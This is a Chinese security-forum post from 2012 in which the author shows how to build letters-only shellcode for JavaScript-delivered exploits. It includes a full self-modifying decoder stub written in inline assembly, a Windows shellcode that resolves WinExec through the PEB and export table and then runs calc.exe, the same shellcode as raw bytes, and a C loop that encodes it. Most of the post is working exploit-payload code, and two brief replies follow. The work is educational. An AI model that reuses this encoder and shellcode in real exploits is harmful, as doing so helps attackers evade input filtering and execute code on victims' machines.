首页
论坛
课程
招聘
[原创] 也学构造字母shellcode
2012-5-27 11:45 3417

[原创] 也学构造字母shellcode

2012-5-27 11:45
3417
也学构造字母shellcode
        感慨一下:Time Flies!转眼间就毕业了。这两天刚接触了exploit漏洞利用。需要编写自己的shellcode,由于是javascript的,对于字符串过滤有Ansi=>Unicode=>Ansi的转换过程。因此,给像我这样的新手增加了很大的难度。于是谷歌和看雪了一下,有几篇文章介绍到。一篇是snowdbg的http://bbs.pediy.com/showthread.php?t=113177,还有一篇是轩辕小聪的http://bbs.pediy.com/showthread.php?t=113227。(顺便膜拜一下轩辕小聪同学,貌似他很热心,搜到过很多他给其他人答疑解惑的帖子)。
对于构造字母shellcode的难点主要有:1,解码部分的opcode和operade必须小于0x80,并且不能含有0 。2,shellcode同样要小于0x80,不能含有0。对于第二个难点,其实算不上。因为将代码映射到字母上去的方法很多,比如前人使用的将shellcode的字节拆分,也就是base16。而对于一个难点,轩辕小聪的文章中指出,alpha2引擎可以做到。
Base16的实现思路很简单,不消说。而alpha2引擎,我没有看。轩辕小聪的文章没有完全看懂吸收。说一下自己在前人的基础上的根据自己的实现思路:加密部分采用的还是base16的字母拆分方法,而解密引擎我是自己实现的。主要是用小于0x80的指令来模拟大于0x80的指令。下面给出解码指令的模拟部分。
          1,        mov 指令的模拟。可以由push 0xXX(如果是立即数,必须小于0x7f;如果是寄存器,没有限制) 和pop reg。 还可以xor al,byte ptr[reg],xor byte ptr[reg],al表示的是mov byte ptr[reg],al, 而xor byte ptr[reg],al,xor  al,byte ptr[reg]表示的是mov al,byte ptr[reg] 。注意这两句的顺序问题。
          2,        shl指令的模拟。可以由下边的三句话来实现。
                 xor al,byte ptr[esp]   
                 xor byte ptr[esp],al    //等价于mov byte ptr[esp],al
                 imul eax,dword ptr[esp],16 //左移四位
                 由于用到了[esp],所以必须通过push 0(push 0还有初始化这个空间的功能)来申请一个空间存放。
          3, add 指令的模拟。因为我们知道,intel指令中同一条汇编代码和指令的字节不是一一对应的。通常为了减少指令的字节,eax寄存器的指令会被简化。如下
                  7C988B56   05 05000000      ADD EAX,5(可以对应别的字节码,具体参看intel指令手册)
                  7C988B5B   83C3 05          ADD EBX,5
       因此,我们要尽量使用eax寄存器来中转其他寄存器的加法操作。接下来的这四句
                  add eax,0x12345678       //计算保存的地址
                  sub eax,0x1234563a
                  add eax,0x12345678      
                  sub eax,0x12345639
       是模拟add eax,0xXX的操作。采取两次add ,sub的原因是add eax,0x12345678的立即数0xXXXXXXXX的每个字节必须小于0x80且不能有0,所以add 和sub 执行一次后最多将eax能加到0x7d(0x7f-0x1),假如我们想add eax,0xbf 显然通过一次的add 和sub无法实现。所以,我采取两次的add,sub操作。
        4,接下来
               push 1   
               pop  ebx
               dec  ebx  //这三句话是为了不出现0,呵呵
               dec ebx
               xor byte ptr[eax],bl
         这四句是用来smc的,修改的代码的地址放在eax当中。Push 0xXX最多压入的是0x7f,而0x7f的最高位是0,所以与要异或的代码字节(要smc修正的代码本身也是小于0x7f的,也就是说它的最高位也是为0)所以最高位异或肯定不可能产生大于0x80的值,而比如我们的要smc的指令jz 0xbf(往前跳)中的0xbf的最高位为1,大于0x80,所以需要上边的五句话来模拟xor [reg],0xXX达到修正代码的目的。
5,        jno来模拟jmp跳转
                cmp al,0x39     //0x39是加密的shellcode的结束标识符
                __emit 0x74
                __emit 0x3d   //这里要修正,这两句话是模拟jz 0xXXXXXXXX,跳转到shellcode的入口
貌似还有很多细节问题,如果有想研究的自己去发现吧。我应该将它命名为bingle引擎, 呵呵。代码很简单,但是也是我精心构造的,不喜勿喷。
__asm
        {
           //******************
           //初始化寄存器
           //******************
           push esp
           pop  edi   //保存到的地址
           push edi   //解密代码的起始地址
           pop  esi
           push 0x61   //解密的字符
           pop edx
           push 1
           pop eax
           dec eax
           push 1
           pop  ebx
           dec  ebx
           push 1  
           pop  ecx
           dec  ecx //保存的是已经完成的字节数

           //**************************
           //smc,找不到指令来模拟跳转
           //**************************
       push esp
           pop  eax              //计算跳转地址
          
           add eax,0x12345678       //计算保存的地址
           sub eax,0x1234563a
           add eax,0x12345678      
           sub eax,0x12345639
           push 1    //为了不出现0
           pop  ebx
           dec ebx
           dec ebx
           xor byte ptr[eax],bl
       inc eax
           push eax
           pop edi
          
           push edi
           pop  esi
           //*****************
           //解密过程
           //*****************
           push 1
           pop  eax
           dec  eax
           xor al,byte ptr[esi]
           xor byte ptr[esi],al
loopProc:
           push 1         //分配堆栈,作为计算imul的缓冲区
           cmp al,0x39
           __emit 0x74
           __emit 0x3d   //这里要修正,这两句话是模拟jz 0xXXXXXXXX,跳转到shellcode的入口

           xor al,byte ptr[esi]   //还原代码,将byte ptr[esi]的值恢复
           xor byte ptr[esi],al

           sub byte ptr[esi],dl
           xor byte ptr[esi],al
       xor al,byte ptr[esi]

           xor al,byte ptr[esp]
           xor byte ptr[esp],al   //等价于mov byte ptr[esp],al
      
           imul eax,dword ptr[esp],16  //不用ebx的原因是[ebx]没法使用imul指令byte ptr[ebx],所以必须找个内存地址临时存放一下byte ptr[ebx]
           xor eax,dword ptr[esp]
           xor dword ptr[esp],eax

           inc esi
           push 1
           pop ebx
           dec ebx
           sub byte ptr[esi],dl
           xor byte ptr[esi],bl
           xor bl,byte ptr[esi]     //这四句话等价于取出要解密的字节的低四位

       add dword ptr[esp],ebx   //前边的一大串是为了ebx<<4,好难构造呀

       push 1
           pop eax
           dec eax
           xor dword ptr[esp],eax
           xor eax,dword ptr[esp]

       xor al,byte ptr[edi]
           xor byte ptr[edi],al    //前边是解析一个指令,将两个字节合并为一个字节
           inc edi
           inc esi

       xor byte ptr[esi],al   //为了比较
       xor al,byte ptr[esi]   
          

       pop ebx
           __emit 0x71
           __emit 0x42             //这里都要修正,这句话是跳转的  
        }
还有几个点,就是smc中跳转的偏移的计算。我是手动的根据od来看代码,计算器计算出来的。比如下边的
           __emit 0x71
           __emit 0x42
   这句指令时jno 0xXX,往前跳的指令0xXX是由0xff xor 0x42计算出来的。同样的执行完解密代码,跳到解密后的shellcode执行的部分也是这么计算出来的。
差不多应该说的都说的,全盘和出了。代码很少,但是也要精心构造。从了解要小于0x80的限制到最后弄好,花了两三天。要毕业了,算是毕业献礼。测试的shellcode
最后来个对话,


附上测试的shellcode,测试的时候注意可读写执行节属性的修改。
#pragma code_seg("bingle")
#pragma  comment(linker,"/section:bingle,rwe")
#pragma code_seg()

__asm
        {
                    push ebp
                        mov ebp,esp
                        sub esp,0x30
                        mov edi,esp
                        mov ecx,0x30
                        xor eax,eax
                        rep stosb
        }
        //[ebp-4]存放Kernel32的基地址
        //[ebp-8]存放的是WinExec的名称的地址
        //[ebp-0xc]存放的是WinExec的函数的地址
        //[ebp-0x10]存放的是ExitProcess的名称的地址
        //[ebp-0x14]存放的是ExitProcess的函数的地址
        //[ebp-0x18]存放的是函数名称的缓冲区
        //[ebp-0x1c]存放的是函数名称长度的缓冲区
        //[ebp-0x20]存放已经查找到的函数的数量
        //[ebp-0x24]存放的是calc.exe的路径

    __asm
        {
GetKernel32Base:              //获得Kernel32的基地址
                mov eax,fs:[0x30]
                mov eax,[eax+0xc]
                mov eax,[eax + 0x1c]
                mov eax,[eax]
                //mov eax,[eax]   //win7系统和xp系统不同的地方
                mov eax,[eax + 8]
                mov [ebp-0x4],eax
                cmp dword ptr[ebp-0x4],0
                jz __End
        }
    //************************************
        //接下来是获取函数的地址
        //************************************
        __asm
        {
GetFuncNameAddr:
                call GetCreateProcessA_Name
                __emit 'W'
                        __emit 'i'
                        __emit 'n'
                        __emit 'E'
                        __emit 'x'
                        __emit 'e'
                        __emit 'c'
                        __emit '\0'
GetCreateProcessA_Name:
                    pop eax
                        mov [ebp-8],eax

            call GetExitProcess_Name
                        __emit 'E'
                        __emit 'x'
                        __emit 'i'
                        __emit 't'
                        __emit 'P'
                        __emit 'r'
                        __emit 'o'
                        __emit 'c'
                        __emit 'e'
                        __emit 's'
                        __emit 's'
                        __emit '\0'
GetExitProcess_Name:
                        pop eax
                        mov [ebp-0x10],eax

        }
        __asm
        {
GetFuncAddr:
                mov esi,[ebp-4]
                add esi,[esi+0x3c]
                mov esi,[esi+0x78]
                add esi,[ebp-4]  //获取了ExportTable的地址
                mov ebx,[esi+0x20]
                add ebx,[ebp-4]   //AddressOfName
                xor edx,edx
            mov eax,[ebp-8]  //获得CreateProcessA的名称的地址
        mov [ebp-0x18],eax
                mov [ebp-0x1c],7  //存放函数长度
repeatFindName:
                push esi
                mov edi,[ebx]   
                add edi,[ebp-4]  //获得api函数名的地址
                mov esi,[ebp-0x18]  //获得我们要查找的函数的名称的地址
                mov ecx,[ebp-0x1c]
                repz cmpsb   
                pop esi
                jz FindAddr  //如果相等,那么跳转继续查找函数地址
                add ebx,4
                inc edx
                cmp edx,[esi + 0x18] //判断有没有超过NumberOfNames,这里老是出错,怎么回事
                jnz repeatFindName
                jmp __End //没有找到,直接结束

FindAddr:
                sub ebx,[esi+0x20]
        sub ebx,[ebp-4]
                shr ebx,1  //获得序号
                add ebx,[esi + 0x24]
                add ebx,[ebp-4]
                movzx eax,word ptr[ebx]
                shl eax,2   //乘
        add eax,[esi+0x1c]
                add eax,[ebp-4]
                mov  eax,[eax]
        add eax,[ebp-4]

                inc [ebp-0x20]
                cmp [ebp-0x20],1  //序号比较
                jz  Store1
                cmp [ebp-0x20],2   //序号比较
                jz Store2
                jmp __End
Store1:
                mov [ebp-0xc],eax
                push eax
                mov eax,[ebp-0x10]
                mov [ebp -0x18],eax
                mov [ebp-0x1c],11
                pop eax
               
                mov ebx,[esi + 0x20] //AddressOfNames,初始化一下ebx
                add ebx,[ebp-4]
                xor edx,edx
                jmp repeatFindName
               
Store2:
                mov [ebp-0x14],eax
        
        }
        //*******************************************
        //接下来是调用WinExec来弹出计算器来了
        //*******************************************
       
        __asm
        {
                call GetCalcPath_Name
                        __emit 'C'
                        __emit ':'
                        __emit 0x5c
                        __emit 0x5c
                        __emit 'W'
                        __emit 'i'
                        __emit 'n'
                        __emit 'd'
                        __emit 'o'
                        __emit 'w'
                        __emit 's'
                        __emit 0x5c
                        __emit 0x5c
                        __emit 'S'
                        __emit 'y'
                        __emit 's'
                        __emit 't'
                        __emit 'e'
                        __emit 'm'
                        __emit '3'
                        __emit '2'
                        __emit 0x5c
                        __emit 0x5c
                        __emit 'c'
                        __emit 'a'
                        __emit 'l'
                        __emit 'c'
                        __emit '.'
                        __emit 'e'
                        __emit 'x'
                        __emit 'e'
                        __emit '\0'
GetCalcPath_Name:
                    pop eax
                        mov [ebp-0x24],eax
                        push 1
                        push [ebp-0x24]
                        call [ebp-0xc]
        }
        __asm
        {
__End:
                       
                        xor eax,eax
                        push eax
                        call [ebp-0x14]
                        mov esp,ebp
                        pop ebp
                        xor eax,eax
                        ret
        }

加密部分:
unsigned char szShellcode[] = "\x55\x8B\xEC\x83\xEC\x30\x8B\xFC\xB9\x30\x00\x00\x00\x33\xC0\xF3\xAA\x64\xA1\x30\x00\x00\x00\x8B\x40\x0C\x8B\x40\x1C\x8B\x00\x8B\x40\x08\x89\x45\xFC\x83\x7D\xFC\x00\x0F\x84\xDD\x00\x00\x00\xE8\x08\x00\x00\x00\x57\x69\x6E\x45\x78\x65\x63\x00\x58\x89\x45\xF8\xE8\x0C\x00\x00\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x58\x89\x45\xF0\x8B\x75\xFC\x03\x76\x3C\x8B\x76\x78\x03\x75\xFC\x8B\x5E\x20\x03\x5D\xFC\x33\xD2\x8B\x45\xF8\x89\x45\xE8\xC6\x45\xE4\x07\x56\x8B\x3B\x03\x7D\xFC\x8B\x75\xE8\x8B\x4D\xE4\xF3\xA6\x5E\x74\x0B\x83\xC3\x04\x42\x3B\x56\x18\x75\xE6\xEB\x7D\x2B\x5E\x20\x2B\x5D\xFC\xD1\xEB\x03\x5E\x24\x03\x5D\xFC\x0F\xB7\x03\xC1\xE0\x02\x03\x46\x1C\x03\x45\xFC\x8B\x00\x03\x45\xFC\xFE\x45\xE0\x80\x7D\xE0\x01\x74\x08\x80\x7D\xE0\x02\x74\x1B\xEB\x4D\x89\x45\xF4\x50\x8B\x45\xF0\x89\x45\xE8\xC6\x45\xE4\x0B\x58\x8B\x5E\x20\x03\x5D\xFC\x33\xD2\xEB\x9B\x89\x45\xEC\xE8\x20\x00\x00\x00\x43\x3A\x5C\x5C\x57\x69\x6E\x64\x6F\x77\x73\x5C\x5C\x53\x79\x73\x74\x65\x6D\x33\x32\x5C\x5C\x63\x61\x6C\x63\x2E\x65\x78\x65\x00\x58\x89\x45\xDC\x6A\x01\xFF\x75\xDC\xFF\x55\xF4\x33\xC0\x50\xFF\x55\xEC\x8B\xE5\x5D\x33\xC0\xC3";
       
        char *szBuf = new char[0x400];
        for(int i=0;i<= 284;i++)
        {
                szBuf[i*2] = (szShellcode[i])>>4;
                szBuf[i*2] += 0x61;
                szBuf[i*2+1] = (szShellcode[i])&0xf;
                szBuf[i*2+1] += 0x61;
        }
字母shellcode

2021 KCTF 秋季赛 防守篇-征题倒计时(11月14日截止)!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (2)
雪    币: 562
活跃值: 活跃值 (28)
能力值: ( LV11,RANK:190 )
在线值:
发帖
回帖
粉丝
promsied 活跃值 4 2012-5-29 10:30
2
0
思路不错,但太繁琐,还不如alpha2
雪    币: 22
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
yangyanghk 活跃值 2012-6-14 11:15
3
0
新手就是苦阿 都看不懂!
游客
登录 | 注册 方可回帖
返回